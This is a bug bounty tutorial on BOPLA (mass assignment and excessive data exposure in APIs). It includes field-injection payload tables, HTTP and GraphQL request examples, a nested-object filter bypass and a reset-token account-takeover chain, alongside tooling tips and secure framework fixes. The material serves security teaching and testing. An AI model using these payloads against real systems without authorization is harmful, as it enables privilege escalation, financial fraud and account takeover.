BOPLA – Broken Object Property Level Authorization

Updated on: 2026

🐛 Bug Bounty Series

BOPLA —
Broken Object Property Level Authorization

BOPLA covers two attack surfaces: Mass Assignment (writing privileged fields the server shouldn’t accept) and Excessive Data Exposure (reading sensitive fields the API shouldn’t return). One of the most impactful and commonly missed API vulnerabilities in bug bounty.

🏆 OWASP API3:2023 🔴 Medium → Critical 🎯 Beginner–Intermediate 🔌 API Security 💰 High Bounty

📋 Table of Contents

What is BOPLA?
Two Attack Surfaces
Quick Reference Table
Mass Assignment Payload Reference
Manual Testing — Step by Step
Tools & Automation
Burp Suite Guide
Advanced Techniques
Framework Secure Fix Reference
Real Bug Chains
Defense & Secure Coding
Key Takeaways

🔍 What is BOPLA?

BOPLA — Broken Object Property Level Authorization is OWASP API Security Top 10 2023’s API3 entry. It replaces the two separate 2019 entries (Excessive Data Exposure and Mass Assignment) by combining them into one category: the API fails to restrict which object properties a user can read or write.

BOPLA diagram showing mass assignment attack injecting role admin into API request and excessive data exposure returning password hash in API response

BOPLA — Mass Assignment (write unauthorized fields) + Excessive Data Exposure (read unauthorized fields)

💡 Core Concept

BOPLA has two attack directions. WRITE (Mass Assignment): you send privileged fields in a request body that the server should reject but doesn’t — role=admin, balance=999999. READ (Excessive Exposure): the server returns fields you should never see — password_hash, 2fa_secret, password_reset_token.

🔴 Critical — role=admin, balance manipulation, reset token leak

🟠 High — is_verified bypass, subscription upgrade, 2fa_secret

🔵 Medium — internal notes, non-sensitive field exposure

⚡ Two Attack Surfaces of BOPLA

✏️ WRITE — Mass Assignment

Send role=admin in request body

Server applies ALL fields without checking

Framework auto-binds req.body to DB model

No whitelist of allowed input fields

Fix: $fillable / permit() / fields=[]

👁️ READ — Excessive Data Exposure

API returns password_hash you shouldn’t see

Developer returns full DB model object

No output filter / DTO used

UI hides fields — Burp shows all of them

Fix: Response serializer with field whitelist

Mass Assignment — How It Works

Mass Assignment Attack

# Normal registration:
POST /api/register
{"name": "Dev", "email": "dev@test.com", "password": "test"}

# BOPLA — add privileged fields:
POST /api/register
{
  "name": "Dev", "email": "dev@test.com", "password": "test",
  "role": "admin",       ← injected
  "isAdmin": true,      ← injected
  "balance": 999999,    ← injected
  "is_verified": true  ← injected
}

# Verify: GET /api/me
# → {"role":"admin","balance":999999,"is_verified":true}

Excessive Data Exposure — How It Works

Excessive Exposure — UI vs API

# UI shows: Name + Email only

# API actually returns (check in Burp):
GET /api/me  →  {
  "name": "Dev", "email": "dev@test.com",
  "password_hash": "$2b$10$abc...xyz",     ← CRITICAL
  "password_reset_token": "abc123def",   ← CRITICAL — account takeover!
  "2fa_secret": "JBSWY3DPEHPK3PXP",       ← CRITICAL — bypass MFA!
  "api_key": "sk-live-xxxxx",            ← CRITICAL
  "is_admin": false                       ← HIGH — admin flag exposed
}

📊 BOPLA — Quick Reference Table

Field	Details
Vulnerability	BOPLA — Broken Object Property Level Authorization
Also Known As	Mass Assignment, Excessive Data Exposure, Over-Posting, Auto-Binding, Object Property Injection
OWASP	API3:2023 — Broken Object Property Level Authorization
CVE Score	5.0 – 9.8
Severity	Medium → Critical (role=admin or reset token leak = Critical)
Root Cause (Write)	No input allowlist — framework auto-binds all request fields to DB model
Root Cause (Read)	No output filter — returns full DB model instead of curated DTO/serializer
Where to Check	POST /api/register, PUT/PATCH /api/profile, all GET response bodies, GraphQL
Best Tools	Burp Suite, Arjun, ParamMiner, curl, Python requests, Autorize
Practice Labs	crAPI (OWASP Vulnerable API — best for BOPLA), PortSwigger, VAmPI, HackTheBox
Difficulty	Beginner–Intermediate (Mass Assignment) \| Intermediate (Exposure chaining)
Key Rule	Always call GET /api/me AFTER write test — a 200 alone is not confirmation
Related Vulns	Backend Authorization Missing, Sensitive Information Disclosure, Vertical Privilege Escalation

💉 Mass Assignment — Payload Reference Table

Test every one of these fields on every POST, PUT, and PATCH endpoint. Add them all at once in the request body and verify via GET /api/me.

Field to Inject	Value	What Happens if Saved	Severity
role	“admin”	Self-promote to admin role	CRITICAL
isAdmin	true	Admin flag set directly	CRITICAL
admin	true	Alternative admin field name	CRITICAL
balance	999999	Infinite credits or money	CRITICAL
credits	99999	Free premium credits	CRITICAL
access_level	99	Numeric privilege escalation	CRITICAL
is_verified	true	Skip email verification	HIGH
email_verified	true	Alternative verified field	HIGH
subscription	“enterprise”	Free plan upgrade	HIGH
plan	“premium”	Free premium plan	HIGH
discount	100	100% discount on purchases	HIGH
price	0	Make any purchase free	HIGH

🧠 Manual Testing for BOPLA

Phase 1 — Mass Assignment (Write)

Test Every POST / PUT / PATCH

Find All Request Body Endpoints

Target: POST /api/register, PUT /api/users/{id}, PATCH /api/profile, POST /api/checkout, PUT /api/subscription, POST /graphql (mutations).

Inject Privileged Fields Into Request Body

Add role=admin, isAdmin=true, balance=999999, is_verified=true to every request body alongside normal fields.

Verify Persistence — CRITICAL STEP

A 200 response is NOT confirmation. After every write test, call GET /api/me and check if the injected field appears in the response with your value. Also check for behaviour change (admin menu, free credits, verified badge).

Mass Assignment Test — Full Flow

# Step 1: Normal profile update (baseline)
PATCH /api/profile
{"name": "Dev", "bio": "Researcher"}

# Step 2: BOPLA — add privileged fields
PATCH /api/profile
{
  "name": "Dev", "bio": "Researcher",
  "role": "admin",
  "isAdmin": true,
  "balance": 999999,
  "is_verified": true
}

# Step 3: Verify persistence
GET /api/me
# VULNERABLE: {"role":"admin","balance":999999,"is_verified":true}
# SECURE:     {"name":"Dev","bio":"Researcher"}  ← extra fields ignored

# Step 4: Confirm privilege escalation
GET /api/admin/users
# 200 OK = role=admin was saved and works

Phase 2 — Excessive Data Exposure (Read)

Inspect ALL API Responses in Burp

HTTP History → click every GET response → Ctrl+F to search for: password, hash, token, secret, key, 2fa, admin, internal.

Compare API Response vs UI Display

UI shows Name + Email. API returns 20 fields. Every field in the API response NOT shown in the UI is a potential Excessive Data Exposure finding.

Test List Endpoints — They Leak More

GET /api/users (list) almost always exposes more fields than GET /api/users/1 (single item). List endpoints often return the full model for all users.

Excessive Exposure — What to Look For

# Single user — may filter properly
GET /api/users/1001  →  {name, email}

# List endpoint — often dumps ALL fields for ALL users
GET /api/users  →  [
  {name, email, password_hash, reset_token, 2fa_secret, role},
  {name, email, password_hash, reset_token, 2fa_secret, role},
  ...thousands of users
]
# All users' sensitive data exposed = mass data breach = CRITICAL

Phase 3 — GraphQL BOPLA

GraphQL Introspection + Attack

# Step 1: Introspect schema — find hidden fields
{ __schema { types { name fields { name } } } }

# Step 2: Request hidden sensitive fields
query {
  me {
    id
    email
    passwordHash          ← add — does it return?
    passwordResetToken    ← add — does it return?
    twoFaSecret           ← add — does it return?
  }
}

# Step 3: Mass assignment via mutation
mutation {
  updateProfile(input: {name: "Dev", role: ADMIN, balance: 999999}) {
    success
  }
}

🤖 Best Tools for BOPLA Testing

🔬 Burp Suite

Intercept POST/PUT → Repeater → add privileged fields. HTTP History → search all responses for sensitive keywords.

HTTP History → Ctrl+F → search "password", "token", "secret"

🔍 Arjun

Auto-discovers hidden POST parameters including privileged fields. Fastest tool for parameter discovery.

arjun -u URL -m POST --stable

⛏️ ParamMiner

Burp extension — guesses hidden body params. Finds role, isAdmin, balance automatically.

Right-click → Param Miner → Guess JSON body params

🔁 Autorize

Burp extension — compares admin vs user API responses automatically. Spots exposure differences.

BApp Store → Autorize → paste admin cookie

🌐 curl

Quick manual injection tests from command line.

curl -X PATCH URL -d '{"role":"admin"}' -H "Auth: Bearer T"

🐍 Python

Automate testing all privileged fields in a loop. Auto-verifies persistence via GET /api/me.

requests.patch(url, json={"role":"admin"}, headers=h)

🔥 Burp Suite — BOPLA Guide

Mass Assignment in Repeater

Intercept any PATCH/PUT → Ctrl+R → add "role":"admin", "isAdmin":true, "balance":999999 to JSON body → Send → GET /api/me to verify.

Find Exposure via Site Map Search

Target → Site Map → right-click → Search → search: password, hash, token, secret, 2fa, api_key. Each hit = inspect full response.

ParamMiner for Auto Discovery

Right-click any POST/PATCH → Extensions → Param Miner → Guess JSON body params. Discovers hidden privileged fields like role, isAdmin, discount automatically.

Comparer — Admin vs User Responses

Call the same endpoint as admin (send to Comparer) and as user (send to Comparer). Compare — any extra fields shown only in admin response that also appear in user response = Excessive Exposure.

💣 Advanced BOPLA Techniques

Nested Object Mass Assignment — Bypass Flat Field Filters

Nested Object Bypass

# Flat filter blocks: {"role": "admin"}
# Nested object may bypass it:
{
  "name": "Dev",
  "user": {"role": "admin", "isAdmin": true},
  "profile": {"subscription": "enterprise"},
  "settings": {"access_level": 99}
}

Read Admin Response → Use Fields in Write Request

Admin Field Structure Harvesting

# Step 1: Find endpoint leaking admin user data
GET /api/users/1  →  {name:'Admin', role:'admin', permissions:['all']}

# Step 2: Copy exact field structure
# Step 3: Send those fields in your own update
PATCH /api/profile
{"role": "admin", "permissions": ["all"], "access_level": 99}

Excessive Exposure → Account Takeover Chain

Read reset_token → Takeover Account

# Step 1: Find user list endpoint leaking reset tokens
GET /api/users  →  [
  {email:"victim@test.com", password_reset_token:"abc123def"},
  ...
]

# Step 2: Use token to reset victim's password
POST /api/password/reset
{"token": "abc123def", "new_password": "hacked123"}

# Excessive Exposure (BOPLA READ) → Account Takeover
# Severity: CRITICAL with $5,000–$15,000 bounty potential

🛠️ Framework Secure Fix Reference

Framework	Vulnerable Pattern	Secure Fix
Laravel	User.update(req.all())	protected $fillable = [‘name’,’email’];
Rails	User.update(params[:user])	params.require(:user).permit(:name,:email)
Django	fields = ‘__all__’ in Serializer	fields = [‘name’,’email’] in Serializer
Spring	@RequestBody User (full entity)	@RequestBody UserDTO (separate DTO class)
Node/JS	User.update(req.body)	User.update(pick(req.body,[‘name’,’email’]))
FastAPI	Full model accepting all from request	Separate Pydantic schemas for input vs output
Go	json.Unmarshal into full struct	Unmarshal into strict input struct only

🔗 Real BOPLA Bug Chains

👑

Mass Assignment on /api/register → Admin From Day 1

Add role=admin to POST /api/register body → framework auto-binds → login → full admin access from the very first request

CRITICAL 💰

💰

Mass Assignment on /api/profile → Infinite Balance

Add balance=999999 to PATCH /api/profile → balance field auto-bound → free credits → financial fraud at scale

CRITICAL 💰

🔑

Excessive Exposure Leaks reset_token → Mass Account Takeover

GET /api/users list returns password_reset_token for every user → use any token to reset password → take over any account without knowing credentials

CRITICAL 💰

🔐

Excessive Exposure Leaks 2fa_secret → Bypass MFA for All Users

GET /api/users list returns 2fa_secret → generate valid OTP for any user → login bypassing MFA → account access even with password + MFA enabled

CRITICAL 💰

⛓️

BOPLA WRITE → Backend Auth Missing → Full Compromise

Set role=admin via mass assignment → role saved → call /api/admin/export → backend auth missing on admin endpoint → full DB dump

CRITICAL 💰

🛒

Mass Assignment on /api/checkout → Free Purchase

Add price=0 or discount=100 to POST /api/checkout body → purchase confirmed at $0 → direct financial loss to business

HIGH 💰

🛡️ Defense Against BOPLA

✅ The Core Fix

WRITE: Use explicit allowlists (DTOs / $fillable / permit()) — never bind req.body directly to DB model. READ: Use response serializers with field whitelists — never return the full DB model object. Separate your input schema from your output schema.

Node.js — Secure vs Vulnerable Pattern

// VULNERABLE — binds ALL fields from request to DB
app.patch('/api/profile', async (req, res) => {
    await User.update(req.body)  ← DANGEROUS
})

// SECURE — whitelist only allowed fields
const pick = (obj, keys) => keys.reduce((acc, k) => {
    if (obj[k] !== undefined) acc[k] = obj[k]; return acc;
}, {});

app.patch('/api/profile', async (req, res) => {
    const allowed = pick(req.body, ['name', 'bio', 'avatar'])
    await User.update(allowed)  ← SAFE — only whitelisted fields
})

📋 Security Checklist

☑ WRITE: Use $fillable / permit() / fields= / DTOs — explicit allowlists only
☑ READ: Use response serializers — never return full ORM model object
☑ Separate READ schema and WRITE schema — different validation rules
☑ Never use fields=’__all__’ in Django serializers
☑ GraphQL: use field-level authorization on every resolver
☑ Run automated tests: send privileged fields → verify they are rejected
☑ List endpoints need stricter filtering than single-item endpoints

📚 Learn More — External Resources

🔗 OWASP API3:2023 — BOPLA Official Docs
🔗 crAPI — OWASP Vulnerable API Lab (best BOPLA practice)
🔗 PortSwigger — API Testing and Mass Assignment Labs
🔗 Arjun — HTTP Parameter Discovery Tool

🔗 More from devtechnoblog.in

📖 Backend Authorization Missing Guide
📖 Sensitive Information Disclosure Guide
📖 Vertical Privilege Escalation Guide
📖 IDOR — Insecure Direct Object Reference

🧠 Key Takeaways — BOPLA

BOPLA = the API does not control which properties you can write (Mass Assignment) or read (Excessive Exposure)
Test ALL POST/PUT/PATCH endpoints — add role, isAdmin, balance, is_verified to EVERY request body
A 200 response is NOT confirmation — always call GET /api/me after write to verify field persistence
List endpoints (/api/users) expose more fields than single-item endpoints (/api/users/1) — test both
GraphQL is highest risk — introspection reveals all fields, mutations accept all inputs by default
Nested objects bypass flat-field filters — always test {"user":{"role":"admin"}} patterns
Never report Excessive Exposure alone — chain it: leaked reset_token → show account takeover
Framework defaults are dangerous — all major ORMs auto-bind ALL fields unless explicitly restricted
Django fields='__all__' in serializers is one of the most dangerous defaults in web development
The GitHub 2012 bug was BOPLA — one POST request gave write access to any organization on GitHub

🏆 The GitHub 2012 Bug — BOPLA at Historic Scale

Egor Homakov found that GitHub’s mass assignment flaw allowed adding an SSH key to any GitHub organization by sending extra fields in a single API POST request. No admin rights. No social engineering. Just one extra field in the request body. Fixed within hours. Made mass assignment famous. This is BOPLA at Critical scale — and the exact vulnerability OWASP named this category after.

BOPLA bopla api bopla-bug-bounty Broken Object Property Level Authorization how to test for bopla

BOPLA – Broken Object Property Level Authorization

BOPLA —
Broken Object Property Level Authorization

🔍 What is BOPLA?

⚡ Two Attack Surfaces of BOPLA

Mass Assignment — How It Works

Excessive Data Exposure — How It Works

📊 BOPLA — Quick Reference Table

💉 Mass Assignment — Payload Reference Table

🧠 Manual Testing for BOPLA

Phase 1 — Mass Assignment (Write)

Phase 2 — Excessive Data Exposure (Read)

Phase 3 — GraphQL BOPLA

🤖 Best Tools for BOPLA Testing

🔥 Burp Suite — BOPLA Guide

💣 Advanced BOPLA Techniques

Nested Object Mass Assignment — Bypass Flat Field Filters

Read Admin Response → Use Fields in Write Request

Excessive Exposure → Account Takeover Chain

🛠️ Framework Secure Fix Reference

🔗 Real BOPLA Bug Chains

🛡️ Defense Against BOPLA

🧠 Key Takeaways — BOPLA

Related Posts

Missing Session Timeout – Bug Bounty Guide 2026

Session Hijacking – Bug Bounty Guide 2026

Inadequate Account Lockout – Bug Bounty Guide 2026

DEVASHISH and GAURAV

Leave a comment Cancel reply

Missing Session Timeout – Bug Bounty Guide 2026

Session Hijacking – Bug Bounty Guide 2026

Inadequate Account Lockout – Bug Bounty Guide 2026

Session Fixation — Bug Bounty Guide 2026

Weak Password Policy — Bug Bounty Guide 2026

Follow Us

BOPLA – Broken Object Property Level Authorization

BOPLA —Broken Object Property Level Authorization

🔍 What is BOPLA?

⚡ Two Attack Surfaces of BOPLA

Mass Assignment — How It Works

Excessive Data Exposure — How It Works

📊 BOPLA — Quick Reference Table

💉 Mass Assignment — Payload Reference Table

🧠 Manual Testing for BOPLA

Phase 1 — Mass Assignment (Write)

Phase 2 — Excessive Data Exposure (Read)

Phase 3 — GraphQL BOPLA

🤖 Best Tools for BOPLA Testing

🔥 Burp Suite — BOPLA Guide

💣 Advanced BOPLA Techniques

Nested Object Mass Assignment — Bypass Flat Field Filters

Read Admin Response → Use Fields in Write Request

Excessive Exposure → Account Takeover Chain

🛠️ Framework Secure Fix Reference

🔗 Real BOPLA Bug Chains

🛡️ Defense Against BOPLA

🧠 Key Takeaways — BOPLA

Related Posts

Simultaneous Login Allowed – Bug Bounty Guide 2026

Missing Session Timeout – Bug Bounty Guide 2026

Session Hijacking – Bug Bounty Guide 2026

Inadequate Account Lockout – Bug Bounty Guide 2026

DEVASHISH and GAURAV

Leave a comment Cancel reply

latest post

Simultaneous Login Allowed – Bug Bounty Guide 2026

Missing Session Timeout – Bug Bounty Guide 2026

Session Hijacking – Bug Bounty Guide 2026

Inadequate Account Lockout – Bug Bounty Guide 2026

Session Fixation — Bug Bounty Guide 2026

Weak Password Policy — Bug Bounty Guide 2026

Follow Us

BOPLA —
Broken Object Property Level Authorization